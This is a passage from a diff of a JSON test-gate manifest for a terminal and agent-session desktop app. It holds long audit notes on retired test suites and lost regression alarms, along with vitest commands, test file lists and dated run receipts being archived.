current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Race independent clients and repeated operation IDs, then assert one physical spawn and one canonical PTY/surface; inject exit-before-reply, provider disconnect, conflicting claim scope, old daemon/relay capabilities, reused handles, stale incarnations, owner mismatch, and topology revision conflict; assert safe adoption or explicit failure without a second spawn or wrong-process attachment. Run fresh/resume with activate true/false against an isolated headed desktop host and a separate paired client, then against isolated headless serve: assert host presentation stays background, only the requesting viewer focuses the exact leaf, inactive calls preserve client/DOM focus, a same-version publication replay cannot lose focus intent, and sibling-first split publication cannot consume exact-leaf intent. Restore legacy split panes and groups beside a newer host-owned tab, preserving exact predecessor/new/successor order, output, input, resize, titles, tab/leaf identity, active group, and multi-client convergence. For completion, drive a known running agent through outer transport loss, authoritative provider rejection, reconnect, explicit stop, real exit status, and successful hook completion; assert unavailable evidence never dispatches completion and two fresh authoritative idle samples are required after the gap. After exact exit, assert terminal and tab listings omit the surface, a stale publication cannot restore it, restart cannot resurrect it, exact tokened fixture PIDs are dead, and unrelated tabs/processes survive until scoped cleanup. Settings-host12 TEST policy additionally retires tests/e2e/remote-terminal-tab-retirement.unit.test.ts: loses permanent host exit retirement in simultaneous viewers and stale snapshot/replay resurrection protection. The callback composed runtime publication and synthetic viewer reducers with exact flush/publication work counts. No replacement or equivalent coverage is claimed; prior receipts remain historical and apply only to their original selectors.", "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts", + "pnpm exec vitest run --config config/vitest.config.ts src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts", + "pnpm run build:cli && pnpm run build:electron-vite && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs", "node --check config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs", "pnpm exec electron-vite build --mode e2e", @@ -6829,12 +6829,12 @@ "src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts", "src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts", "src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts", - "src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts", + "src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts", "tests/e2e/remote-agent-session-focus-authority.spec.ts", "config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs", "config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs", - "tests/e2e/remote-terminal-tab-retirement.unit.test.ts", + "src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts", "src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts" ], @@ -6854,13 +6854,7 @@ "does not let reconciliation erase an in-flight reservation" ] }, - { - "file": "src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts", - "assertions": [ - "independent runtime clients converge on one canonical live agent-session owner", - "retries and concurrent requests cannot create a second physical PTY" - ] - }, + { "file": "src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts", "assertions": [ @@ -6890,14 +6884,7 @@ "isolated daemon roots and captured descendants are verified dead before profile PID records are removed" ] }, - { - "file": "tests/e2e/remote-terminal-tab-retirement.unit.test.ts", - "assertions": [ - "a durable host exit removes the terminal from two independent viewer mirrors instead of publishing a handle-less phantom", - "one exact exit produces one same-epoch higher-version host publication and one durable persistence flush", - "same-epoch stale publications cannot resurrect the retired surface after reconnect" - ] - }, + { "file": "src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts", "assertions": [ @@ -6930,36 +6917,6 @@ "durationSeconds": 549, "summary": "The primary user topology used an isolated headed Orca desktop as the owning server and a separate paired Edge client. Host inspection reported Codex alive before, during, and after a page-scoped WebSocket fault; the client showed no completion toast, reconnected to the same live Codex TUI, and explicit stop restored the shell prompt with no child process.", "currentCommand": "Manual headed paired-server journey: isolated Orca desktop host + separate paired web client + real Codex process + 20-second WebSocket fault + reconnect + explicit stop" - }, - { - "date": "2026-07-22", - "runner": "local", - "platform": "macos", - "command": "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts", - "result": "failed", - "durationSeconds": 3.11, - "summary": "The exact cross-boundary oracle failed on pre-#9687 commit 2a32c5c9a because the retired publication still contained the pinned persisted terminal surface.", - "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts" - }, - { - "date": "2026-07-22", - "runner": "local", - "platform": "macos", - "command": "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts", - "result": "failed", - "durationSeconds": 3.48, - "summary": "The exact strengthened oracle failed on PR #9053 head d3a1d3047 because its stale-headless pruning retained the pinned persisted terminal surface.", - "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts" - }, - { - "date": "2026-07-22", - "runner": "local", - "platform": "macos", - "command": "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts", - "result": "passed", - "durationSeconds": 3.18, - "summary": "The same strengthened oracle passed on main@4fce2de49.", - "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts" } ], "runtimeBudget": { @@ -7067,7 +7024,8 @@ "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. ", "Audit5922 intentionally retires Gemini interrupt versus Codex navigation classification and command-finished cleanup arbitration under supplied status/transport; the retained completion wrapper loses exactly two finite arbitration cases while its other registration factories remain. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim.", "Audit5943 retires the complete task-complete-dispatch registration fragment (three cases) from the retained completion wrapper. Generic-spinner false completion suppression, hidden idle-cursor reset byte ordering and exclusion of stale prior-turn notification prompts/details lose these narrow alarms without equivalent replacement. Other wrapper factories and selectors keep their original scope; this audit transfers no fresh run or whole-gate coverage. Prior dated evidence and earlier gaps remain historical.", - "Audit5946 retires seven finite hook-completion side-effect cases and two narrow command-finished routing cases from the retained completion wrapper. Hook versus title/process completion notification timing, replacement-agent attention veto, cache/cursor/focus-report side effects and two Droid/shell-routing projection alarms lose these examples without equivalent replacement. Identity-preserving sleeping records, accepted-status reconciliation, ordered input mode teardown, owner/refusal and liveness guards remain. Other factories and selectors retain only their original scope; no fresh execution or whole-gate equivalence is claimed. Preserve earlier knownGaps and complete dated evidence as history" + "Audit5946 retires seven finite hook-completion side-effect cases and two narrow command-finished routing cases from the retained completion wrapper. Hook versus title/process completion notification timing, replacement-agent attention veto, cache/cursor/focus-report side effects and two Droid/shell-routing projection alarms lose these examples without equivalent replacement. Identity-preserving sleeping records, accepted-status reconciliation, ordered input mode teardown, owner/refusal and liveness guards remain. Other factories and selectors retain only their original scope; no fresh execution or whole-gate equivalence is claimed. Preserve earlier knownGaps and complete dated evidence as history", + "Module-layout settings/host cleanup retires these three complete historical remote-terminal-tab-retirement receipts because their whole test Program is removed. They describe only the original dated source and are no longer active evidence; no equivalent replacement or fresh validation is claimed. Full original receipts: [{\"date\":\"2026-07-22\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\",\"result\":\"failed\",\"durationSeconds\":3.11,\"summary\":\"The exact cross-boundary oracle failed on pre-#9687 commit 2a32c5c9a because the retired publication still contained the pinned persisted terminal surface.\",\"currentCommand\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\"},{\"date\":\"2026-07-22\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\",\"result\":\"failed\",\"durationSeconds\":3.48,\"summary\":\"The exact strengthened oracle failed on PR #9053 head d3a1d3047 because its stale-headless pruning retained the pinned persisted terminal surface.\",\"currentCommand\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\"},{\"date\":\"2026-07-22\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\",\"result\":\"passed\",\"durationSeconds\":3.18,\"summary\":\"The same strengthened oracle passed on main@4fce2de49.\",\"currentCommand\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\"}]" ], "demotionRule": "Keep experimental or demote if the focused gate flakes without a product or harness bug, if a retry can physically spawn twice, if a stale exit/publication can replace or resurrect a terminal, or if mixed-version fallback occurs after an authority side effect." }, @@ -7877,7 +7835,7 @@ "providers": ["paired-runtime", "ssh"], "coveredPlatforms": ["macos"], "coveredProviders": [], - "coverageNotes": "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct oldest/cap/TTL/last-active worktree ranking and equal-hidden-time tab activation-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Physical parking/restoration/stream-budget selectors and assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit5571 removes the entire unrelated-PTY mobile heartbeat callback suite and its active selectors; its bookkeeping alarm is intentionally lost without equivalent replacement or fresh runtime evidence. Fourteen unrelated dated receipts retain their exact original scopes. Historical account follows: Audit5534 removes the whole last-active retention TTL selector suite (one authored/finite case). Its absolute-TTL and inside-boundary alarm is intentionally lost without equivalent replacement or fresh execution. Active command/file selectors drop only that suite; historical receipts remain at their original scope. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The decorative fanout suite retains only real OSC9999 ingestion through runtime/title heartbeat/viewer past the stale boundary, preserving stateStartedAt and clearing expired prompt metadata. Spinner volume/zero-work inventories, Pi/Grok frame tables, rich-status and foreground-reset examples are retired. Existing receipts for separate paired-terminal sources retain their original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3342 removes three supplied activation/inventory fallback and same-handle retry examples; their fallback/retry alarms are intentionally lost without equivalent replacement. The exact mounted-HUB pending old-stream-end versus replacement-snapshot registration and its assertion remain. Unrelated dated macOS receipts retain only their original scope; no fresh runtime, provider, performance, mobile, mixed-version or cross-platform validation is claimed. NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts, src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: restarts only the stream whose renderer delivery credit never settles — An unreturned renderer delivery credit stalls only its stream, leaving healthy sibling/shared transport alive. Fake-clock deadline plus real multiplexer unsubscribe isolates recovery ownership.; probes then restarts a stream when an entered command receives no frames — Entered command produces no output; actual multiplexer must probe then close only its stalled stream after probe timeout. Distinct response liveness from parser credit.; establishes a probe baseline before recovering an unsequenced stream — 142-line manual five-probe baseline/regression sequence derives request IDs from encoded mock traffic and checks repeated no-close/close choreography. Oversized algorithm/state-machine example; no actual renderer/host command or recovery delivery. Retires unsequenced/unchanged/regressed baseline classification alarms.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces remote-runtime-pty-transport-unpublished-host-graph.test.ts, retiring its direct published-empty-graph omission-to-pane-exit alarm. The unchanged bounded unpublished-frame/pushed-recovery and stale-handle park/manual-retry cases are narrower, not equivalent replacements. Both complete three-case Linux receipts dated 2026-11-04 are archived as historical, including source heads; they do not validate this reduced selector. Remaining fourteen active receipts are macOS only. No fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes 